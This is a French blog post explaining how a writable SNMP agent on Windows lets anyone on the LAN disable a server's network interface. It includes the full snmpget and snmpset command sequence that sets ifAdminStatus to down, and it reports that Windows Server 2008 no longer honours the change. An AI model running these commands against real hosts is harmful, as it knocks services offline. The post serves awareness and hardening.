demande de rappel immédiat

SNMP : Un déni de service de plus en moins.

Posted by Jean-Paul Blanc Wednesday, March 31, 2010 6:20:00 AM
Rate this Content 0 Votes




Rappel des faits.

Parmi les multiples objets de la MIB II il y a "interfaces". Cette entrée décrit les "cartes" d'accès au réseau d'un noeud SNMP.

Détails de l'objet interfaces dans l'arbre MIB II avec MibBrowser


Elle se compose d’un compteur ifNumber (.1.3.6.1.2.1.2.1) contenant le nombre d'adaptateur réseau, et d’une table (1.3.6.1.2.1.2.2) donnant les détails de chacun d’entre eux. Une seule entré de cette table est positionnable (ifAdminStatus est en lecture et écriture). Pas besoin d’être grand devin pour imaginer que cette entrée permet de désactiver une interface. Les lignes de commandes suivantes illustrent l’arrêt d’une interface ethernet à partir des outils en ligne de commande fournis par NET-SNMP.

 Récupération du nombre d'interfaces
C:\usr\bin>snmpget -v 1 -c public 192.168.1.240 .1.3.6.1.2.1.2.1.0
IF-MIB::ifNumber.0 = INTEGER: 2

Récupération des index des deux premières interfaces
C:\usr\bin>snmpgetnext -v 1 -c public 192.168.1.240 1.3.6.1.2.1.2.2.1.1
IF-MIB::ifIndex.1 = INTEGER: 1
C:\usr\bin>snmpgetnext -v 1 -c public 192.168.1.240 1.3.6.1.2.1.2.2.1.1.1
IF-MIB::ifIndex.524291 = INTEGER: 524291

Récupération des descriptions des deux premières interfaces
C:\usr\bin>snmpgetnext -v 1 -c public 192.168.1.240 1.3.6.1.2.1.2.2.1.2
IF-MIB::ifDescr.1 = STRING: MS TCP Loopback interface
C:\usr\bin>snmpgetnext -v 1 -c public 192.168.1.240 1.3.6.1.2.1.2.2.1.2.1
IF-MIB::ifDescr.524291 = STRING: Carte AMD PCNET Family Ethernet PCI

Récupération du status de l'interface ethernet
C:\usr\bin>snmpget -v 1 -c public 192.168.1.240 1.3.6.1.2.1.2.2.1.7.524291
IF-MIB::ifAdminStatus.524291 = INTEGER: up(1)

Positionnement du status de l'interface ethernet
DENY de SERVICE
C:\usr\bin>snmpset -v 1 -c private 192.168.1.240 1.3.6.1.2.1.2.2.1.7.524291 i 2
IF-MIB::ifAdminStatus.524291 = INTEGER: down(2)

Après cette manipulation, la carte "Carte AMD PCNET Family Ethernet PCI" est techniquement désactivée. Dans l'interface utilisateur, l'icône la représentant n'est pas grisée pour autant, ce qui peut tromper un administrateur non averti et le pousser à redémarrer le poste. Un moyen pour la réactiver consiste à la désactiver puis à la réctiver à travers l'interface.

Cette manipulation montre q'un simple utilisateur d'un poste sur le réseau local est capable de désactiver les cartes d'un serveur possédant un agent SNMP paramétré pour être accèssible en écriture. Deux conditions doivent êtres réunies :

  1. L'agent doit accépter des paquets SNMP depuis n'importe quel poste. Par défaut il n'accèpte des requêtes que depuis la boucle locale.
  2. L'opérateur des commandes doit connaitre la communauté qui permet d'écrire sur l'agent. Par défaut il n'y à pas de communauté d'écriture.

Donc lors de l'installation par défaut la brèche n'est pas présente. Certe, mais SNMP ne sert alors à rien. On peut ouvrir l'agent en lecture et ne pas autoriseer les écritures. Cela convient bien à un usage restreint de SNMP, mais pas à une administration réseau via SNMP. Par conséquent pour l'administration réseau il est plus conseillé de passer via WMI, quitte à utiliser SNMP via ce dernier.

Voici un outil doté d’une interface graphique SilStopIf, il s’appuit sur l’Assembly SNMP SHARP NET et il permet de reproduire facilement le phénomène.

SilStopIf permet de reproduire simplement ce déni de service


Test de l’agent SNMP du serveur Windows 2008.


Il suffit de cibler un serveur Windows 2008 avec SilStopif pour vérifier si la brèche est toujours présente. Là deux surprises nous attendent:

SilStopIf intérrogeant un serveur 2008

  • Tout d’abord le nombre d’interfaces est bien plus grand. Les interfaces ne se résument plus à la boucle locale et aux cartes réseaux. On voit des mini port WAN pour IP et IP(QOS), IPv6 et IPv6(QOS), PPTP, PPPOE, L2TP, SSTP, IK2 v2, soit une petite vingtaine d'entrées supplémentaires pour une installation basique.
  • Ensuite on peut toujours positionner la variable ifAdminstatus, à down(2), mais l’interface n’est pas désactivée pour autant.

Sur l’agent SNMP présent dans les versions précédentes on constatait que le fait de passer ifAdminstatus à down provoquait le passage à down de la variable ifOperStatus. Cette variable représente la valeur opérationnelle de l’état de l’interface. Sur l’agent SNMP de Windows serveur 2008 cette variable reste à up et l’interface reste effectivement accessible.

Conclusion.

 

On ne peut plus désactiver les interfaces via SNMP. ifAdminstatus à perdu son sens. Je ne sais pas si on est ici en présence d'une correction d'anomalie (présente depuis NT4) ou d'un effet de bord de changement d'architecture, mais, de toute façon, désactiver une interface par ce moyen là était un vrai traquenard pour les administrateurs.

 

Comments are closed on this post.